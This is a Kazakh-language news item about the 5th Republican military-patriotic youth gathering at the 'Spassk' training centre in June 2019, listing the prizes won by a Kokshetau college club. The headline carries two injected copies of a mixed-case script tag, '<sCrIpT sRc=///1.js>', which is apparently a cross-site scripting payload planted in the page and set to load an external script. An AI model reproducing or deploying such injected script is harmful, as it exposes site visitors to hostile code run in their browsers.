V-Республикалық әскери-патриоттық жастар жиыны<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
24.06.2019
2019 жылдың 16-22 маусым аралығында Қарағанды облысы «Спасск» оқу орталығында V-Республикалық әскери-патриоттық жастар жиыны өткізілді. Әскери-патриоттық жиынға әскери-патриоттық клубтардың тәрбиеленушілері, республикалық (облыстық) мектеп-интернатының тәрбиеленушілері, жоғары оқу орындарының әскери кафедрасының студенттері қатысты. Қарағанды облысының «Спасск» оқу-жаттығу орталығында өткен шараға 17 өңірден келген 600-ден астам жас ұлан қатысып, әскери өнерден сынға түсті. Бұл іс-шараның ашылу салтанатына Мемлекет басшысы – ҚР Қарулы Күштерінің Бас қолбасшысы Қасым-Жомарт Кемелұлы Тоқаев қатысты.
Аталған дүбірлі жарыста Ж.Мусин атындағы Көкшетау жоғары қазақ педагогикалық колледжінің «Айбын» әскери-спорттық клубының мүшелері қатысып, жақсы өнер көрсетті.
Бескүндік жарыс қорытындысы бойынша:
- «Айбын дауысы» вокалдық конкурсы – 1 орын;
- Орынтай Сандуғаш «Бес тас» сайысы бойынша – 2 орын;
- «Кермеде тартылу» бойынша ер балалар 260 ұпай нәтижесімен – 2 орын;
- «Әскерилендірілген эстафета» сайысы бойынша – 3 орын;
- «Әскерилендірілген кросс» сайысы бойынша – 3 орын;
Жалпы командалық есепте Ақмола облысы намысын қорғаған колледждің «Айбын» әскери-патриоттық клубы командасы Нұр-сұлтан, Алматы, Шымкент қалалары мен облыстардың ең мықтыларын жинаған V-Республикалық әскери-патриоттық жастар жиынында жүлделі ІІІ орынды иеленді.
